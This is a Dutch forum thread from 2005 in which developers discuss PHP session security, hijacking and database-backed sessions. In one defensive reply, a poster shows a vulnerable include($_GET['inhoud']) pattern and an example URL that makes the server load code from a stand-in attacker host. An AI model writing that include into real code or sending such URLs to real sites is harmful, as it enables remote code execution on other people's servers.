[PHP] Sessie en veiligheid

[Kaastosti]

Nu ik een eind op weg ben met een opdracht, kruipt ineens het akelige gevoel naar boven dat het geheel niet echt veilig is. Ik heb een aantal topics gelezen over sessies en veiligheid, maar in de meeste gevallen komt het niet echt overeen met mijn situatie denk ik.

Wat is heb gebouwd is een systeem waar klanten op in kunnen loggen, waarna ze hun gegevens kunnen inzien en welke services ze afnemen. Het werkt allemaal erg netjes, alleen de techniek ben ik nog niet echt zeker van met betrekking tot de veiligheid.

Als men voor het eerst inlogt, wordt er in de sessie een array aangemaakt met alle gegevens die beschikbaar zijn van die klant. Afhankelijk van welke pagina men opvraagt (dit wordt meegegeven in de url als GET-variabele), wordt dan een gedeelte van de sessie uitgelezen en op het scherm gezet.

Nu wordt er dus geen sessie id in de url gezet (het is 1 pagina zonder frames, dus is ook niet nodig), ook heb ik hier geen cookie weten te vinden waar de gegevens in staan. In dat opzicht lijkt het dus wel snor te zitten. Ik ga er dan van uit dat de gegevens in de sessie alleen op de server bekend zijn... maar toch... ik ben dingen aan het doorlezen over sessie hijacking, maar vraag me af of dat ook hier van toepassing is, omdat er niets in de url staat wat terug refereert naar de sessie.

Kan iemand mij hier duidelijkheid in verschaffen of in ieder geval een schop geven naar het ene artikel waarin alles duidelijk uitgelegd staat en ik niet heb kunnen vinden?

[mosymuis]

Session cookies zijn er altijd, maar wel gebonden aan IP als ik mij niet vergis.

[Sendy]

Het is zo simpel. Sessiedata moet aan een bepaalde gebruikerssessie gekoppeld worden. Dit gebeurd meestal met een cookie, maar dit kan ook door de sessie-id als GET parameter door te geven. Maar zo'n id moet er zijn, anders weet je niet bij wie die data hoort.

Als je zo'n sessie kan raden (of ergens uitlezen) dan kan je dus inbreken in de sessie. Gelukkig zijn sessiecookies niet zomaar te raden. Je kan ook je sessiedata nog uitbreiden met ip-nummers en andere ongein om te verkomen dat geraadde id's schade kunnen aanbrengen.

Maar natuurlijk is dit niet de enige manier om in te breken; andere manieren zijn vaak eenvoudiger (bijvoorbeeld SQL/command injection) te misbruiken. De enige manier om dit te voorkomen is goed nadenken en goed zoeken naar mogelijk problemen.

[ Voor 4% gewijzigd door Sendy op 07-06-2005 14:58 ]

[Verwijderd]

In dit artikel staat een stuk over session hijacking: http://www.phpfreakz.nl/artikelen.php?aid=106 misschien dat je daar wat aan hebt.

[ Voor 3% gewijzigd door Verwijderd op 07-06-2005 15:01 ]

[ikke007]

Een mogelijk security probleem wat veel mensen ook vergeten is het volgende:

je site zit geheel goed in elkaar maar draait op een host. Deze host heeft (hoogst waarschijnlijk) 1 centrale map waar alle sessie tmp bestanden van alle sites in worden opgeslagen. Dus een hacker hackt 1 domein en krijgt een complete webserver met alle domeinen tot zijn beschikking.

Als je erg over security in zit moet je eens voor de lol het artikel over security op www.phpfreakz.nl lezen. Is een flinke bom informatie over wat er kan gebeuren en hoe je het kan voorkomen

[EdwinG]

Sendy schreef op dinsdag 07 juni 2005 @ 14:57:
Maar natuurlijk is dit niet de enige manier om in te breken; andere manieren zijn vaak eenvoudiger (bijvoorbeeld SQL/command injection) te misbruiken. De enige manier om dit te voorkomen is goed nadenken en goed zoeken naar mogelijk problemen.

Afhankelijk van welke pagina men opvraagt (dit wordt meegegeven in de url als GET-variabele)

Bedoel je met die GET-variabele het zoiets:
index.php?inhoud=profiel
en dat dan het bestand 'profiel' wordt ingevoegd.
Zoals:

PHP:

include($_GET['inhoud'])

Probleem daarmee is dat de bezoekers ook zoiets kunnen doen:
index.php?inhoud=http://www.ditwiljeniet.com/foutecode.php

Beveilig dus die GET-variabele, of beter nog, include de vaste delen.

Het includen van vaste delen:
profiel.php

PHP:

include('top.php');
// code voor het bestand
include('bottom.php');

include('top.php') bevat dus de code die in de eerste situatie boven "include($_GET[ inhoud'])" staat,
include('bottom.php') het deel daar onder.

[ Voor 16% gewijzigd door EdwinG op 07-06-2005 15:12 ]

[mosymuis]

iKKe007 schreef op dinsdag 07 juni 2005 @ 15:03:
Een mogelijk security probleem wat veel mensen ook vergeten is het volgende:

(..)

Mede om dat soort risico's kies ik zelf altijd voor database-based sessies, dus zonder de sessie functies van PHP maar een eigen systeem dat gebaseerd is op sessie tabellen en cookies. Deze laatste stel ik samen uit een unieke sessie key, een actuele timestamp en natuurlijk het corresponderende user_id. De sessie wordt alleen goedgekeurd als de timestamp actueel is en de andere gegevens overeen komen met de opgeslagen hostname. Dat, gecombineerd met kennis van veilig scripten, maakt dat ik in de veronderstelling ben dat mijn systeem redelijkerwijs beveiligd is tegen session hijacking.

[ Voor 19% gewijzigd door mosymuis op 07-06-2005 15:11 ]

[Sendy]

Dat bedoel ik inderdaad. Je moet goed de inhoud controlleren van alle data die een externe partij opstuurt. Jouw include kan veel meer dingen includen, bijvoorbeeld een commando om de hele database naar de webbrowser te dumpen.

mosymuis >
Zo'n systeem is inherent hetzelfde als ieder ander systeem; het is dus niet veiliger of minder veilig.

Ik het eens met ikke dat de sessie-id's ook niet zomaar leesbaar moeten zijn (na het kraken van 1 scriptje), maar het is overdreven dat de hele server meteen op zou liggen.

[ Voor 43% gewijzigd door Sendy op 07-06-2005 15:17 ]

[mosymuis]

Sendy schreef op dinsdag 07 juni 2005 @ 15:12:
mosymuis >
Zo'n systeem is inherent hetzelfde als ieder ander systeem; het is dus niet veiliger of minder veilig.

Het is wel degelijk veiliger dan een standaard sessie-based systeem; de methode die ik gebruik maakt dat cookie theft minder kans van slagen heeft door de host controle en de timestamp die kan verlopen als de originele user na de aanval eens refresht. Nu roep ik niet dat het niet te hacken valt, maar je vermindert de risico's aanzienlijk.

[EdwinG]

Overigens vind ik het wat overdreven om alle gebruikers gegevens in 1 sessie te stoppen.
Meestal houd ik alleen de meest gebruikte dingen in de sessie (gebruikers id, eventueel naam, rang)
Andere gegevens haal ik op de nodige pagina's direct uit de database met gebruikers, met behulp van de gebruikers id.

[Kaastosti]

Het enige wat de gebruikers invoeren is een username en wachtwoord. Daarna kunnen ze eventueel nog iets handmatig invoeren in de url als index.php?page=scriptkiddie, maar die wordt afgevangen en gecontroleerd op geldigheid.

Het gaat mij er dus alleen om dat ik de gegevens van die klant allemaal in de sessie heb zitten. Dat kan, zoals EdwinG ook zegt, wel per pagina geladen worden (wat eerst ook zo was), maar ik heb liever 1 keer een database verbinding waarbij ik alle data ophaal, dan dat ik bij elke klik opnieuw een verbinding moet maken.

Het geheel komt te draaien op een apache-ssl server, dus de data gaat sowieso encrypted de lijn over. Het enige wat men zou kunnen doen is de sessie id goed raden, waarbij ik 'ze' veel succes wens Ik duik weer verder de artikeltjes in, want ik wil nou wel eens weten hoe iemand zo'n sessie zou kunnen kapen

[Sendy]

mosymuis schreef op dinsdag 07 juni 2005 @ 15:25:
[...]

Het is wel degelijk veiliger dan een standaard sessie-based systeem; de methode die ik gebruik maakt dat cookie theft minder kans van slagen heeft door de host controle en de timestamp die kan verlopen als de originele user na de aanval eens refresht. Nu roep ik niet dat het niet te hacken valt, maar je vermindert de risico's aanzienlijk.

Dat bedoel ik niet. Je systeem om alles in een database te zetten is niet anders dan het "standaard" systeem. De opmerking dat ip's toevoegen de veiligheid verhogen had ik al gemaakt. Een sessie die verloopt is natuurlijk ook goed.

[Copyman]

Ik was hier laatst ook naar op zoek, en heb een pdf file gevonden waar een stuk php security onder de loep wordt genomen. Hierin worden sessions ook behandeld.

http://shiflett.org/php-security.pdf